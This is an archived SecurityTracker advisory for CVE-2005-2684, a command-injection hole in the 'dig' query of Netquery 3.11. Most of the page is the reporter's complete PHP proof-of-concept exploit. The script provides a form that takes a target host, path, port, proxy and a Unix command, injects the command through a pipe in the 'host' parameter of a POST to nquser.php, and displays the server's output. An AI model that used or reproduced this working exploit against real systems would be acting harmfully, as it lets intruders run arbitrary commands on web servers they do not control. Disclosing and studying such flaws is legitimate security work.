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Netquery Input Validation Hole in 'dig' Query Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1014750
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SecurityTracker URL: http://securitytracker.com/id?1014750
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CVE Reference: CVE-2005-2684
(Links to External Site)
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Updated: Jun 8 2008
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Original Entry Date: Aug 22 2005
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Impact: Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 3.11
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Description: rgod reported a vulnerability in Netquery. A remote user can execute arbitrary commands on the target system.
The 'host' parameter of the 'dig' query type is not properly validated. If 'register_globals' is set to 'on', then a remote user can supply a specially crafted 'dig' query to execute arbitrary commands on the target system.
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Impact: A remote user can execute arbitrary commands on the target system with the privileges of the target web server.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.virtech.org/tools/index.html (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: "retrogod@aliceposta.it" <retrogod@aliceposta.it>
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Message History:
None.
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Source Message Contents
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Date: Sun, 21 Aug 2005 20:54:03 +0200 (ora legale Europa occidentale)
From: "retrogod@aliceposta.it" <retrogod@aliceposta.it>
Subject: NETQUERY 3.11 remote commands execution poc exploit (previous version unproperly patched...)
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<?php
/* 20.10 21/08/2005
NETQUERY 3.11 remote commands execution
by rgod
http://rgod.altervista.org
a lot of code for a pipe vulnerability...
run it from your browser...
make these changes in php.ini if you have troubles
with this script
allow_call_time_pass_reference = on
register_globals = On
netquery 3.1 was unproperly patched, now it's dig query to be vulnerable
try to launch |ls -la to list directories or this exlpoit form Apache to see if
you installation is vulnerable
*/
error_reporting(0);
echo '<head><title>Netquery 3.11 remote commands execution poc exploit by rgod</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th {color: #1CB081;}
body {background-color: #000000;
SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black;
CURSOR: crosshair;
}
input {background-color: #303030 !important}
input {color: #1CB081 !important}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;
font-weight: bold;
font-style: italic;
}
-->
</style></head>
<body>
<p class="Stile6">20.10 21/08/2005</p>
<p class="Stile6">Netquery 3.11 remote commands execution poc exploit by rgod</p>
<p class="Stile6">tested on standalone edition, download it at <a href="http:
//www.virtech.org/tools/" target="_blank">http://www.virtech.org/tools/</a><
/p>
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org"
target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=
value&host=value&port=value&command=value&proxy=value">
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /netquery/ or just /) </span></p>
<p>
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value) </span><
/p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port) </span><
/p>
<p>
<input type="text" name="command">
<span class="Stile5">a Unix command... </span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
</form></td>
</tr>
</table>
</body>
</html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if (($path<>'') and ($host<>''))
{
if ($port=='') {$port=80;}
$data="querytype=dig&host=%7C+".urlencode($command)."&digparam=ANY&x=8&
y=16";
if ($proxy=='')
{$packet="POST ".$path."nquser.php HTTP/1.1\r\n";}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{$packet="POST http://".$host.$path."nquser.php HTTP/1.1\r\n";}
}
$packet.="Accept: */*\r\n";
$packet.="Referer: http://".$host.$path."nquser.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
echo '<br> Sending exploit to '.$host.'<br>';
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
show($packet);
fputs($fp,$packet);
if ($proxy=='')
{ $data='';
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
if (eregi('HTTP/1.1 200 OK',$data))
{echo 'Exploit sent...<br> If NetQuery 3.11 is unpatched and vulnerable <br>';
echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';
}
else
{echo 'Error, see output...';}
//show($data); //debug: show output in a packet dump...
echo nl2br(htmlentities($data));
}
?>
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